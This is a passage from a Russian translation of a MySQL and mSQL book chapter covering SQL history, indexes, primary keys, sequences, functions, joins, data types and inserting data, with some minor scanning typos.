    name CHAR(50) NOT NULL,

    resistance INT,
    melting_pt REAL,
    INDEX indexl (id, name),
    UNIQUE INDEX index2 (name))

    В этом примере для таблицы создается два индекса. Первый индекс indexl состоит из полей id и name. Второй индекс включает в себя только поле name и указывает, что значения поля name должны быть уникальными. Если вы попытаетесь вставить в поле name значение, которое уже есть в этом поле в какой-либо строке, операция не будет осуществлена. Все поля, указанные в уникальном индексе, должны быть объявлены как NOT NULL .

    Хотя мы создали отдельный индекс для поля name, отдельно для поля id мы не создавали индекса. Если такой индекс нам понадобится, создавать его не нужно - он уже есть. Когда индекс содержит более одной колонки (например, name, rank, nserial_number), MySQL читает колонки в порядке слева направо. Благодаря используемой MySQL структуре индекса всякое подмножество колонок с левого края автоматически становится индексом внутри "главного" индекса. Например, когда вы создаете индекс name, rank, serial_number, создаются также "свободные" индексы name и name вместе с rank. Однако индексы rank или name и seri-al_number не создаются, если не потребовать этого явно.


    MySQL поддерживает также семантику ANSI SQL для особого индекса, называемого первичным ключом. В MySQL первичный ключ - это уникальный индекс с именем PRIMARY. Назначив при создании таблицы колонку первичным ключом, вы делаете ее уникальным индексом, который будет поддерживать объединения таблиц. В следующем примере создается таблица cities с первичным ключом id.

    CREATE TABLE cities (id INT NOT NULL PRIMARY KEY,

    name VARCHAR(100),

    pop MEDIUMINT,

    founded DATE)

    Прежде чем создавать таблицу, нужно решить, какие поля будут ключами (и будут ли вообще ключи). Как уже говорилось, любые поля, которые будут участвовать в объединении таблиц, являются хорошими кандидатами на роль первичного ключа. Подробно обсуждение того, как проектировать таблицы с хорошими первичными ключами, можно найти в главе 2.



    Основы SQL

    SQL "структурирован" в том отношении, что он следует определенному набору правил. Компьютерной программе легко разобрать на части сформулированный запрос SQL. Действительно, в книге издательства O'Reilly "lex & у асе", написанной Джоном Ливайном, Тони Мэйсоном и Дугом Брауном (John Levine, Tony Mason, Doug Brown), реализована грамматика SQL для демонстрации процесса создания программы, интерпретирующей язык! Запрос (query) - это полностью заданная команда, посылаемая серверу баз данных, который выполняет запрошенное действие. Ниже приведен пример SQL-запроса:

    SELECT name FROM people WHERE name LIKE 'Stac%'

    Как можно видеть, это предложение выглядит почти как фраза на ломаном английском языке: "Выбрать имена из список люди, где имена похожи на Stac". SQL в очень незначительной мере использует форматирование и специальные символы, обычно ассоциируемые с компьютерными языками. Сравните, к примеру, "$++;($*++/$|);$&$л„;$!" в Perl и "SELECT value FROM table" в SQL.

    История SQL

    В IBM изобрели SQL в начале 1970-х, вскоре после введения д-ром Е. Ф. Коддом (Е. F. Codd) понятия реляционной базы данных. С самого начала SQL был легким в изучении, но мощным языком. Он напоминает естественный язык, такой как английский, и поэтому не утомляет тех, кто не является техническим специалистом. В 1970-х это достоинство было еще более важным, чем сегодня.

    В начале 1970-х не было случайных хакеров. Дети росли, не изучая BASIC и не создавая собственных веб-страничек. Люди, программировавшие компьютеры, знали все о том, как эти компьютеры работают. SQL был предназначен для армии несведущих в технике бухгалтеров, а также делового и управленческого персонала, которым принес бы пользу доступ к мощи реляционной базы данных.

    SQL действительно был настолько популярен среди пользователей, для которых предназначался, что в 1980-х компания Oracle выпустила первую в мире общедоступную коммерческую SQL-систему. Oracle SQL был хитом сезона и породил вокруг SQL целую индустрию. Sybase, Informix, Microsoft и ряд других компаний вышли на рынок с собственными разработками реляционных систем управления базами данных (РСУБД), основанных на SQL.


    В то время когда Oracle и ее конкуренты вышли на сцену, SQL был новинкой, и для него не существовало стандартов. Лишь в 1989 году комиссия по стандартам ANSI выпустила первый общедоступный стандарт SQL. Сегодня его называют SQL89. К несчастью, этот новый стандарт не слишком углублялся в определение технической структуры языка. Поэтому, хотя различные коммерческие реализации языка SQL сближались, различия в синтаксисе делали задачу перехода с одной реализации языка на другую нетривиальной. Только в 1992 году стандарт ANSI SQL вступил в свои права.

    Произносится как "сиквел" или "эс-кю-эль". Некоторые люди относятся с благоговением к произношению SQL. He обращайте на них внимания. Однако нужно заметить, что в MySQL и mSQL правильное произношение -"эс-кю-эль".

    Стандарт 1992 года обозначают как SQL92 или SQL2. Стандарт SQL2 включил в себя максимально возможное количество расширений, добавленных в коммерческих реализациях языка. Большинство инструментов, работающих с различными базами данных, основывается на SQL2 как на способе взаимодействия с реляционными базами данных. Однако, из-за очень большой широты стандарта SQL2, реляционные базы, реализующие полный стандарт, очень сложные и ресурсоемкие.

    Основы SQLSQL2 - не последнее слово в стандартах SQL. В связи с ростом популярности объектно-ориентированных СУБД (ООСУБД) и объектно-реляционных СУБД (ОРСУБД) возрастает давление с целью принятия объектно-ориентированного доступа к базам данных в качестве стандарта SQL. Ответом на эту проблему должен послужить SQL3. Он не является пока официальным стандартом, но в настоящее время вполне определился и может стать официальным стандартом где-то в 1999 году.



    С появлением MySQL и mSQL проявился новый подход к разработке серверов баз данных. Вместо создания очередной гигантской РСУБД с риском не предложить ничего нового в сравнении с "большими парнями", были предложены небольшие и быстрые реализации наиболее часто используемых функций SQL.


    Архитектура SQL

    Как мы уже отмечали, SQL больше напоминает естественный человеческий, а не компьютерный язык. SQL добивается этого сходства благодаря простой четкой императивной структуре. Во многом походя на предложение английского языка, отдельные команды SQL, называемые запросами, могут быть разбиты на части речи. Рассмотрим следующие примеры.

    CREATE TABLE people (name CHAR(10))

    глагол дополнение расширенное определение

    INSERT INTO people VALUES('me')

    глагол косвенное прямое

    дополнение дополнение

    SELECT name FROM people WHERE name LIKE '%e'

    глагол прямое косвенное придаточное дополнение дополнение предложение

    Большинство реализаций SQL, включая MySQL и mSQL, нечувствительны к регистру: неважно, в каком регистре вы вводите ключевые слова SQL, если орфография верна. Например, CREATE из верхнего примера можно записать и так:

    cREatE ТАblЕ people (name cHaR(10))

    Нечувствительность к регистру относится только к ключевым словам SQL. Ради удобочитаемости все ключевые слова SQL в этой книге записаны заглавными буквами. Мы рекомендуем такой стиль как хороший, "опробованный на практике" способ. В MySQL и mSQL имена баз данных, таблиц и колонок к регистру чувствительны. Но это характерно не для всех СУБД. Поэтому, если вы пишете приложение, которое должно работать с любыми СУБД, не следует использовать имена, различающиеся одним только регистром.

    Первый элемент SQL-запроса - всегда глагол. Глагол выражает действие, которое должно выполнить ядро базы данных. Хотя остальная часть команды зависит от глагола, она всегда следует общему формату: указывается имя объекта, над которым осуществляется действие, а затем описываются используемые при действии данные. Например, в запросе CREATE TABLE people (char(10)) используется глагол CREATE, за которым следует дополнение (объект) TABLE .Оставшаяся часть запроса описывает таблицу, которую нужно создать.

    SQL-запрос исходит от клиента - приложения, предоставляющего фасад, с помощью которого пользователь взаимодействует с базой данных. Клиент составляет запрос, основываясь на действиях пользователя, и посылает его серверу SQL. После этого сервер должен обработать запрос и выполнить указанные действия. Сделав свою работу, сервер возвращает клиенту одно или несколько значений.

    Поскольку основная задача SQL - сообщить серверу баз данных о том, какие действия необходимо выполнить, он не обладает гибкостью языка общего назначения. Большинство функций SQL связано с вводом и выводом из базы: добавление, изменение, удаление и чтение данных. SQL предоставляет и другие возможности, но всегда с оглядкой на то, как они могут использоваться для манипулирования данными в базе.



    Последовательности и автоинкрементирование

    Лучше всего, когда первичный ключ не имеет в таблице никакого иного значения, кроме значения первичного ключа. Для достижения этого лучшим способом является создание числового первичного ключа, значение которого увеличивается при добавлении в таблицу новой строки. Если вернуться к примеру с таблицей cities, то первый введенный вами город должен иметь id, равный 1, второй - 2, третий - 3, и т. д. Чтобы успешно управлять такой последовательностью первичных ключей, нужно иметь какое-то средство, гарантирующее, что в данный конкретный момент только один клиент может прочесть число и увеличить его на единицу. В базе данных с транзакциями можно создать таблицу, скажем, с именем sequence , содержащую число, представляющее очередной id. Когда необходимо добавить новую строку в таблицу, вы читаете число из этой таблицы и вставляете число на единицу большее. Чтобы эта схема работала, нужно быть уверенным, что никто другой не сможет произвести чтение из таблицы, пока вы не ввели новое число. В противном случае два клиента могут прочесть одно и то же значение и попытаться использовать его в качестве значения первичного ключа в одной и той же таблице.

    Ни MySQL, ни mSQL не поддерживают транзакции, поэтому описанный механизм нельзя использовать для генерации уникальных чисел. Использовать для этих целей команду MySQL LOCK TABLE обременительно. Тем не менее обе СУБД предоставляют свои варианты понятия последовательности, позволяющие генерировать уникальные идентификаторы, не беспокоясь о транзакциях.

    Последовательности в MySQL

    При создании таблицы в MySQL можно одну из колонок специфицировать как AUTO_INCREMENT . В этом случае, при добавлении новой строки, имеющей значение NULL или 0 в данной колонке, автоматически будет происходить замена на значение на единицу больше, чем наибольшее текущее значение в колонке. Колонка с модификатором AUTO_INCREMENT должна быть индексирована. Ниже приведен пример использования поля типа AUTOJNCREMENT :

    CREATE TABLE cities (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,


    name VARCHAR(100),

    pop MEDIUMINT,

    founded DATE)

    Когда вы первый раз добавляете строку, поле id получает значение 1, если в команде INSERT для него используется значение NULL или 0. Например, следующая команда использует возможность AUTO_INCREMENT:

    INSERT INTO cities (id, name, pop)

    VALUES (NULL, 'Houston', 3000000)

    Если вы выполните эту команду, когда в таблице нет строк, поле id получит значение 1, а не NULL. В случае, когда в таблице уже есть строки, полю будет присвоено значение на 1 большее, чем наибольшее значение id в данный момент.

    Другим способом реализации последовательностей является использование значения, возвращаемого функцией LAST_INSERT_ID :

    UPDATE table SET id=LAST_INSERT_ID (id+1);

    Последовательности в mSQL

    Каждая таблица в mSQL может иметь одну связанную с ней последовательность. Синтаксис создания последовательности следующий:

    CREATE SEQUENCE ON table_name [VALUE start STEP incr]

    Начальное значение задается числом start, а шаг увеличения при каждом последующем обращении - числом incr. По умолчанию, последовательность начинается с 1 и каждый раз возрастает на 1. Например:

    CREATE SEQUENCE ON mytable VALUE 100 STEP 5

    Создается последовательность в таблице mytable, начальным значением которой будет 100, а при каждом обращении оно будет увеличиваться на 5. Вторым значением, следовательно, будет 105.

    Для доступа к последовательности нужно выбрать из таблицы специальную колонку с именем _seq:

    SELECT _seq FROM table_name

    В результате вы получите очередное значение последовательности и инкрементируете его.



    Расширения языка

    Как MySQL, так и mSQL обладают некоторыми витиеватыми расширениями, аналогов которым вы не найдете в других базах данных. Большинство расширений, имеющихся в MySQL, в целом согласуется со стандартом ANSI SQL. Расширения mSQL связаны просто с особыми переменными, к которым можно обращаться при работе с базой данных mSQL.

    Возможности MySQL

    MySQL превосходит mSQL в поддержке SQL, предоставляя возможность работы с функциями и в некоторой мере — с внешними объединениями. Функции в SQL аналогичны функциям в других языках программирования, таких как С и Perl. Функция может принимать аргументы и возвращает некоторое значение. Например, функция SQRT(16) возвращает 4. В MySQL в команде SELECT функции могут использоваться в двух местах:

    Как извлекаемая величина

    В этом случае функция включается в список извлекаемых колонок. Возвращаемое функцией значение, вычисляемое для каждой выбранной строки, включается в возвращаемое результирующее множество, как если бы это была колонка базы данных. Вот пример:

    # Выбрать название каждого события (event), а также его дату
    # в удобном для чтения формате из всех событий, более свежих,

    # чем указанная дата. Функция FROM_UnixTIME()

    # преобразует стандартное значение времени Unix

    # в читаемый вид.

    SELECT name, FROM_UnixTIME(date)

    FROM events

    WHERE time > 90534323

    # Выбрать заглавие статьи, полный текст ее,

    # и длину (в байтах) полного текста для всех
    # статей, автор которых Stacie Sheldon.

    # Функция LENGTHO возвращает длину заданной

    # строки в символах.

    SELECT title, text, LENGTH(text)

    FROM papers

    WHERE author = 'Stacie Sheldon'

    Как часть предложения WHERE

    В этом виде функция заменяет место константы при вычислении в предложении WHERE. Значение функции используется при сравнении в каждой строке таблицы. Приведем пример.

    # Случайным образом выбрать название объекта из общего числа 35.

    # Функция RAND() генерирует случайное число

    # между 0 и 1 (умножается на 34, чтобы сделать его между 0

    # и 34, и увеличивается на 1 , чтобы сделать его между 1 и


    # 35). Функция ROUND() возвращает данное число округленным

    # до ближайшего целого, что приводит к целому числу

    # между 1 и 35, которое должно соответствовать одному

    # из чисел ID в таблице.

    SELECT name

    FROM entries

    WHERE id = ROUND( (RAND()*34) + 1 )

    # Можно использовать функции одновременно в списке значений

    # и предложении WHERE. В этом примере выбираются имя и дата

    # всех событий, происшедших более суток назад. Функция UNIX_TIMESTAMP()

    # без аргументов возвращает текущее время

    # в формате Unix.

    SELECT name, FROM_UnixTIME(date)

    FROM events

    WHERE time > (Unix_TIMESTAMP() - (60 * 60 * 24) )

    # Функция может использовать значение поля таблицы.

    # В этом примере возвращаются имена всех,

    # кто использовал свое имя в качестве пароля. Функция ENCRYPTO

    # возвращает зашифрованную в стиле пароля Unix

    # заданную строку, используя 2-символьный ключ.

    # Функция LEFT() возвращает п самых левых символов

    # переданной строки.

    SELECT name

    FROM people

    WHERE password = ENCRYPT(name, LEFT(name, 2))

    Наконец, MySQL поддерживает более сильный тип объединения, чем простое внутреннее объединение, которое мы до сих пор использовали. Именно, MySQL поддерживает так называемое левое внешнее объединение (известное также просто как внешнее объединение). Объединение этого типа похоже на внутреннее объединение, за исключением того, что в него включаются данные из левой колонки, которым нет соответствия в правой колонке. Если вы обратитесь к нашим таблицам с авторами и книгами, то вспомните, что в наше объединение не вошли авторы, у которых в базе данных не было книг. Часто вы можете пожелать вывести записи из одной таблицы, для которых нет соответствия в другой таблице, с которой производится объединение. Это можно сделать с помощью внешнего объединения:

    SELECT book.title, author.name

    FROM author

    LEFT JOIN book ON book.author = author.id

    Обратите внимание, что во внешнем объединении вместо WHERE используется ключевое слово ON. Результат нашего запроса будет выглядеть так:


    Расширения языка

    MySQL делает следующий шаг, позволяя использовать естественное внешнее объединение (natural outer join). Естественное внешнее объединение соединяет строки двух таблиц, в которых две колонки имеют одинаковые имена и тип, и значения в этих колонках совпадают:

    SELECT my_prod.name

    FROM my_prod

    NATURAL LEFT JOIN their_prod

    Особенности mSQL

    В mSQL есть пять "системных переменных", которые можно включить в любой запрос. Об одной из этих переменных, _seq, мы уже говорили. Остальные переменные следующие:

    _rowid

    Уникальный идентификатор возвращенной строки данных. Для повышения производительности можно использовать эту переменную в командах UPDATE или DELETE. Однако такой подход нельзя рекомендовать определенно, поскольку разные клиенты могут помешать друг другу. Например, два клиента могут выбрать одну и ту же строку. Первый клиент удаляет ее, а затем третий клиент добавляет новую строку. Новая строка может получить то же значение _rowid, что и удаленная строка. Если теперь второй клиент попытается отредактировать или удалить строку, используя данное значение _rowid, то результат будет совсем не тот, на который он рассчитывал.

    _timestamp

    Время последней модификации строки. В текущей версии mSQL имеет стандартный формат времени Unix. В будущих версиях формат может измениться, поэтому использовать эту переменную следует только для сравнения временных меток разных строк.

    _sysdate

    Возвращает значение текущей даты на сервере mSQL. Может использоваться для синхронизации времени в базе данных, даже если у клиентов на машинах стоит разное время. Имеет стандартный формат Unix.

    _user

    Содержит имя клиента текущего соединения. Как и _-sysdate, не зависит от таблицы, из которой выбирается.

    Создание и удаление таблиц

    Успешно установив MySQL или mSQL, вы можете приступить к созданию своей первой таблицы. Таблица, структурированное вместилище данных, является основным понятием реляционных баз. Прежде чем начать вводить данные в таблицу, вы должны определить ее структуру. Рассмотрим следующую раскладку:
    Создание и удаление таблиц

    каждого поля, а также возможные дополнительные сведения о полях. Тип данных поля определяет, какого рода данные могут в нем содержаться. Типы данных SQL сходны с типами данных в других языках программирования. Полный стандарт SQL допускает большое разнообразие типов данных. MySQL реализует большую их часть, в то время как mSQL -лишь несколько наиболее полезных.

    Общий синтаксис для создания таблиц следующий:

    CREATE TABLE table_name (colutnn_namel type [modifiers] [, column_name2 type [modifiers]] )

    Создание и удаление таблицКакие идентификаторы - имена таблиц и колонок - являются допустимыми, зависит от конкретной СУБД. mSQL обеспечивает поддержку имен в объеме, близком к минимальному. В качестве идентификатора он допускает любую последовательность букв набора ISO 8859-1 (Latin 1), цифр и знака "-", длиной до 20 символов. Идентификатор должен начинаться с буквы. Проблемы вызывает ограничение на использование только ISO 8859-1. Для хорошей переносимости SQL нужно избегать имен, начинающихся не с допустимой буквы. MySQL предоставляет больше возможностей. Длина идентификатора может быть до 64 символов, допустим символ "$", и первым символом может быть цифра. Более важно, однако, что MySQL допускает использование любых символов из установленного в системе локального набора.

    Колонка - это отдельная единица данных в таблице. В таблице может содержаться произвольное число колонок, но использование больших таблиц бывает неэффективным. Вот здесь правильное проектирование базы данных, обсуждавшееся в главе 2, начинает играть важную роль. Создав правильно нормализованные таблицы, можно объединять их ("join") для осуществления поиска в данных, размещенных в нескольких таблицах. Механику объединения таблиц мы обсудим позднее в данной главе.


    Как и бывает в жизни, разрушить легче, чем создать. Следующая команда удаляет таблицу:

    DROP TABLE Lable_name

    Эта команда не оставит и следа от таблицы в базе данных. MySQL уничтожит все данные удаленной таблицы. Если у вас не осталось резервной копии, нет абсолютно никакого способа отменить действие данной операции. Мораль этой истории: всегда храните резервные копии и будьте очень внимательны при удалении таблиц. В один "прекрасный" день это вам пригодится.

    В MySQL можно одной командой удалить несколько таблиц, разделяя их имена запятыми. Например, DROP TABLE people, animals, plants удалит эти три таблицы. Можно также использовать модификатор IF EXISTS для подавления ошибки в случае отсутствия удаляемой таблицы. Этот модификатор полезен в больших сценариях, предназначенных для создания базы данных и всех ее таблиц. Прежде чем создавать таблицу, выполните команду DROP TABLE table_name IF EXISTS.



    Типы данных в SQL

    Каждая колонка таблицы имеет тип. Как уже указывалось, типы данных SQL сходны с типами данных традиционных языков программирования. В то время как во многих языках определен самый минимум типов, необходимых для работы, в SQL для удобства пользователей определены дополнительные типы, такие как MONEY и DATE. Данные типа MONEY можно было бы хранить и как один из основных числовых типов данных, однако использование типа, специально учитывающего особенности денежных расчетов, повышает легкость использования SQL, которая является одной из главных его целей.

    В главе 15 "Справочник по SQL" дается полное справочное руководство по типам SQL, поддерживаемым MySQL и mSQL. В таблице 6-1 дан сокращенный список, состоящий из наиболее употребительных типов, поддерживаемых в обоих языках.

    Таблица 6-1. Наиболее употребительные типы, данных, поддерживаемые как MySQL, так и mSQL




    Тип данных


    Описание

    INT Целое число. В MySQL INT может быть со знаком или без знака, в то время как mSQL имеет отдельный тип UINT для беззнаковых целых.
    REAL Число с плавающей запятой. Этот тип допускает больший диапазон значений, чем INT, но не обладает его точностью.
    TEXT(length) Символьная величина переменной длины. В mSQL значение length используется как предположение о том, какой длины будут хранимые строки. Можно сохранять и строки большей длины, но ценой потери производительности. В MySQL TEXT - лишь один из нескольких типов данных переменного размера.
    DATE Стандартное значение даты. Хотя формат хранения даты различен в MySQL и mSQL, оба ядра могут использовать тип DATE для хранения произвольных дат, относящихся к прошлому, настоящему и будущему. Оба ядра правильно решают "проблему 2000".
    TIME

    Стандартное значение времени. Этот тип используется для хранения времени дня безотносительно какой-либо даты. При использовании вместе с датой позволяет хранить конкретную дату и время. В MySQL есть дополнительный тип DATETIME для совместного хранения даты и времени в одном поле.

    CHAR(length)


    Символьная величина фиксированной длины. Поля типа CHAR не могут содержать строки длины большей, чем указанное значение. Поля меньшей длины дополняются пробелами. Вероятно, это наиболее употребительный тип в любой реализации SQL.
    <


    Типы данных в SQL" MySQL поддерживает атрибут UNSIGNED для всех числовых типов. Этот модификатор позволяет вводить в колонку только положительные (беззнаковые) числа. Беззнаковые поля имеют верхний предел значений вдвое больший, чем у соответствующих знаковых типов. Беззнаковый TINYINT - однобайтовый числовой тип MySQL - имеет диапазон от 0 до 255, а не от -127 до 127, как у своего знакового аналога.

    Та и другая СУБД имеют больше типов, чем перечислено выше. Особенно большое число типов поддерживает MySQL. Однако на практике в основном используются перечисленные типы. В mSQL выбор типа данных сводится к выбору типа, наиболее близкого к данным, которые вы собираетесь хранить. Размер данных, которые вы собираетесь хранить, играет гораздо большую роль при разработке таблиц MySQL.

    Числовые типы данных

    Прежде чем создавать таблицу, вы должны хорошо представить себе, какого рода данные вы будете в ней хранить. Помимо очевидного решения о том, будут это числовые или символьные данные, следует выяснить примерный размер хранимых данных. Если это числовое поле, то каким окажется максимальное значение? Может ли оно измениться в будущем? Если минимальное значение всегда положительно, следует рассмотреть использование беззнакового типа. Всегда следует выбирать самый маленький числовой тип, способный хранить самое большое мыслимое значение. Если бы, к примеру, требовалось хранить в поле численность населения штата, следовало бы выбрать беззнаковый INT. Ни в каком штате не может быть отрицательной численности населения, и для того, чтобы беззнаковое поле типа INT не могло вместить число, представляющее его население, численность населения этого штата должна примерно равняться численности населения всей Земли.

    Символьные типы

    С символьными типами работать немного труднее. Вы должны подумать не только о максимальной и минимальной длине строки, но также о среднем размере, частоте отклонения от него и необходимости в индексировании. В данном контексте мы называем индексом поле или группу полей, в которых вы собираетесь осуществлять поиск — в основном, в предложении WHERE. Индексирование, однако, значительно сложнее, чем такое упрощенное определение, и мы займемся им далее в этой главе. Здесь важно лишь отметить, что индексирование по символьным полям происходит значительно быстрее, если они имеют фиксированную длину. В действительности, mSQL даже не позволяет индексировать поля переменной длины. Если длина строк не слишком колеблется или, что еще лучше, постоянна, то, вероятно, лучше выбрать для поля тип CHAR. Пример хорошего кандидата на тип CHAR — код страны. Стандартом ISO определены двухсимвольные коды для всех стран (US для США, FR для Франции и т. д.). Поскольку эти коды состоят ровно из двух символов, CHAR(2) будет правильным выбором для данного поля.


    Чтобы подходить для типа CHAR, поле необязательно должно быть фиксированной длины, но длина не должна сильно колебаться. Телефонные номера, к примеру, можно смело хранить в поле CHAR(13), хотя длина номеров различна в разных странах. Просто различие не столь велико, поэтому нет смысла делать поле для номера телефона переменным по длине. В отношении поля типа CHAR важно помнить, что, вне зависимости от реальной длины хранимой строки, в поле будет ровно столько символов, сколько указано в его размере — не больше и не меньше. Разность в длине между размером сохраняемого текста и размером поля заполняется пробелами. Не стоит беспокоиться по поводу нескольких лишних символов при хранении телефонных номеров, но не хотелось бы тратить много места в некоторых других случаях. Для этого существуют текстовые поля переменной длины.

    Хороший пример поля, для которого требуется тип данных с переменной длиной, дает URL Интернет. По большей части адреса Web занимают сравнительно немного места - http://www.ora.com, http:// www.hughes.com.au, http://www.mysql.com - и не представляют проблемы. Иногда, однако, можно наткнуться на адреса подобного вида: http://www.winespectator.com/Wine/Spectator/ _notes\5527293926834323221480431354? Xvl I =&Xr5=&Xvl =& type-region-search- code=&Xal 4=flora+springs&Xv4=.

    Если создать поле типа CHAR длины, достаточной для хранения этого URL, то почти для каждого другого хранимого URL будет напрасно тратиться весьма значительное пространство. Поля переменной длины позволяют задать такую длину, что оказывается возможным хранение необычно длинных значений, и в то же время не расходуется напрасно место при хранении обычных коротких величин. В MySQL и mSQL подход к этой проблеме различный.

    Поля переменной длины в MySQL

    Если вы используете только mSQL, этот раздел можно пропустить. Преимуществом текстовых полей переменной длины в MySQL является то, что они используют ровно столько места, сколько необходимо для хранения отдельной величины. Например, поле типа VARCHAR(255) , в котором хранится строка "hello, world", занимает только двенадцать байтов (по одному байту на каждый символ плюс еще один байт для хранения длины).


    Типы данных в SQL В отличие от стандарта ANSI, в MySQL поля типа VARCHAR не дополняются пробелами. Перед записью из строки удаляются лишние пробелы.



    Сохранить строки, длина которых больше, чем заданный размер поля, нельзя. В поле VARCHAR(4) можно сохранить строку не длиннее 4 символов. Если вы попытаетесь сохранить строку "happy birthday", MySQL сократит ее до "happ". Недостатком подхода MySQL к хранению полей переменной длины, в сравнении с mSQL, является то, что не существует способа сохранить необычную строку, длина которой превосходит заданное вами значение. В таблице 6-2 показан размер пространства, необходимого для хранения 144-символьного URL, продемонстрированного выше, и обычного, 30-символьного URL,

    Таблица 6-2. Пространство памяти, необходимое для различных символьных типов MySQL

    Тип данных

    Пространство для хранения строки из 144 символов

    Пространство для хранения строки из 30 символов

    Максимальная длина строки

    СНАR(150)

    150

    150

    255

    VARCHAR(ISO)

    145

    31

    255

    TINYTEXT(ISO)

    145

    31

    255

    ТЕХТ(150)

    146

    32

    65535

    MEDIUM-ТЕХТ(150)

    147

    33

    16777215

    LONGTEXT(150)

    148

    34

    4294967295

    Если через годы работы со своей базой данных вы обнаружите, что мир изменился, и поле, уютно чувствовавшее себя в типе VARCHAR(25) , должно теперь вмещать строки длиной 30 символов, не все потеряно. В MySQL есть команда ALTER TABLE , позволяющая переопределить размер поля без потери данных.

    ALTER TABLE mytable MODIFY tnycolumn LONGTEXT

    Поля переменной длины в mSQL

    Если вас интересует только MySQL, этот раздел можно пропустить. Символьные поля переменной длины в mSQL позволяют задать длину как средний размер строки, которая будет в нем храниться. Каждая величина, вводимая в это поле, займет, по крайней мере, столько места, сколько вами задано, но поле может хранить и более длинные строки. Для этого база данных создает таблицу переполнения, в которой хранит лишние данные. Недостаток такого подхода проявляется в снижении производительности и невозможности индексировать поля переменной длины.


    Остановимся немного на последствиях различий в подходе. Чтобы сохранить все вышеперечисленные URL в поле типа CHAR, потребуется колонка типа CHAR(144). При таком развитии событий четыре упомянутые URL займут 576 байт (144 х 4), хотя фактически хранится только 216 байт данных. Остальные 360 байт- просто потерянное пространство. Если помножить эту цифру на тысячи и миллионы строк, то можно понять, что это представляет собой серьезную проблему. Если же использовать поле переменной длины типа ТЕХТ(30), то для хранения 216 байт данных требуется только 234 байта (30 X 3 + 144). Всего лишь 18 байт потеряно. Экономия составила 41%!

    Двоичные типы данных

    В mSQL нет поддержки двоичных данных. В MySQL, напротив, есть целый ряд двоичных типов данных, соответствующих своим символьным аналогам. Двоичными типами, поддерживаемыми MySQL, являются CHAR BINARY , VARCHAR BINARY , TINYBLOB, BLOB, MEDIUMBLOB и LONGBLOB. Практическое отличие между символьными типами и их двоичными аналогами основано на принципе кодировки. Двоичные данные просто являются куском данных, которые MySQL не пытается интерпретировать. Напротив, символьные данные предполагаются представляющими текстовые данные из используемых человеком алфавитов. Поэтому они кодируются и сортируются, основываясь на правилах, соответствующих рассматриваемому набору символов. Двоичные же данные MySQL сортирует в порядке ASCII без учета регистра.

    Перечисления и множества

    MySQL предоставляет еще два особых типа данных, не имеющих аналога в mSQL. Тип ENUM позволяет при создании таблицы указать список возможных значений некоторого поля. Например, если бы у вас была колонка с именем "фрукт", в которую вы разрешили бы помещать только значения "яблоко", "апельсин", "киви" и "банан", ей следовало бы присвоить тип ENUM:

    CREATE TABLE meal(meal_id INT NOT NULL PRIMARY KEY,

    фрукт ENUM('яблоко', 'апельсин', 'киви', 'банан'))

    При записи значения в эту колонку оно должно быть одним из перечисленных фруктов. Поскольку MySQL заранее знает, какие значения допустимы для этой колонки, она может абстрагировать их каким-либо числовым типом. Иными словами, вместо того, чтобы хранить в колонке "яблоко" в виде строки, MySQL заменяет его однобайтовым числом, а "яблоко" вы видите, когда обращаетесь к таблице или выводите из нее результаты.


    Тип MySQL SET работает аналогично, но позволяет одновременно хранить в поле несколько значений.

    Другие типы данных

    Любые мыслимые данные можно хранить с помощью числовых или символьных типов. В принципе, даже числа можно хранить в символьном виде. Однако то, что это можно сделать, не означает, что это нужно делать. Рассмотрим, к примеру, как хранить в базе данных денежные суммы. Можно делать это, используя INT или REAL. Хотя интуитивно REAL может показаться более подходящим - в конце концов, в денежных суммах нужны десятичные знаки, - на самом деле более правильно использовать INT. В полях, содержащих значения с плавающей запятой, таких как REAL, часто невозможно найти число с точным десятичным значением. Например, если вы вводите число 0.43, которое должно представлять сумму $0.43, MySQL и mSQL могут записать его как 0.42999998. Это небольшое отличие может вызвать проблемы при совершении большого числа математических операций. Сохраняя число как INT и устанавливая десятичную точку в нужное место, можно быть уверенным, что его значение представляет именно то, что вам требуется.

    К чему такие хлопоты? Не лучше ли было бы, если бы MySQL и mSQL обеспечивали некий тип данных, специально предназначенный для денежных сумм? MySQL и в меньшей степени mSQL предоставляют специальные типы данных для таких случаев. Одним из них является тип MONEY, другим- DATE. Полное описание всех типов данных можно найти в главе 17 "Программы и утилиты для MySQL и mSQL".



    Управление данными

    Первое, что вы делаете, создав таблицу, это начинаете добавлять в нее данные. Если данные уже есть, может возникнуть необходимость изменить или удалить их.

    Добавление данных

    Добавление данных в таблицу является одной из наиболее простых операций SQL. Несколько примеров этого вы уже видели. Как MySQL, так и mSQL поддерживают стандартный синтаксис INSERT:

    INSERT INTO table_name (columnl, column2, ..., columnN)
    VALUES (value!, value2, .... valueN)

    Данные для числовых полей вводятся как они есть. Для всех других полей вводимые данные заключаются в одиночные кавычки. Например, для ввода данных в таблицу адресов можно выполнить следующую команду:

    INSERT INTO addresses (name, address, city, state, phone, age)
    VALUES( 'Irving Forbush', ' 123 Mockingbird Lane', 'Corbin', 'KY', '(800) 555-1234', 26)

    Кроме того, управляющий символ - по умолчанию '\' — позволяет вводить в литералы одиночные кавычки и сам символ '\':

    # Ввести данные в каталог Stacie's Directory, который находится

    # в c:\Personal\Stacie

    INSERT INTO files (description, location)

    VALUES ('Stacie\'s Directory', 'C: \\Personal\\Stacie')

    MySQL позволяет опустить названия колонок, если значения задаются для всех колонок и в том порядке, в котором они были указаны при создании таблицы командой CREATE. Однако если вы хотите использовать значения по умолчанию, нужно задать имена тех колонок, в которые вы вводите значения, отличные от установленных по умолчанию. Если для колонки не установлено значение по умолчанию и она определена как NOT NULL , необходимо включить эту колонку в команду INSERT со значением, отличным от NULL. В mSQL значение по умолчанию всегда NULL. MySQL позволяет указать значение по умолчанию при создании таблицы в команде CREATE.

    Более новые версии MySQL поддерживают нестандартный вызов INSERT для одновременной вставки сразу нескольких строк:

    INSERT INTO foods VALUES (NULL, 'Oranges', 133, 0, 2, 39),

    (HULL, 'Bananas', 122, 0, 4, 29), (NULL, 'Liver', 232, 3, 15, 10)

    Управление даннымиХотя поддерживаемый MySQL нестандартный синтаксис удобно использовать для быстрого выполнения задач администрирования, не следует без крайней нужды пользоваться им при написании приложений. Как правило, следует придерживаться стандарта ANSI SQL2 настолько близко, насколько MySQL и mSQL это позволяют. Благодаря этому вы получаете возможность перейти в будущем на какую-нибудь другую базу данных. Переносимость особенно важна для тех, у кого потребности среднего масштаба, поскольку такие пользователи обычно предполагают когда-нибудь перейти на полномасштабную базу данных.


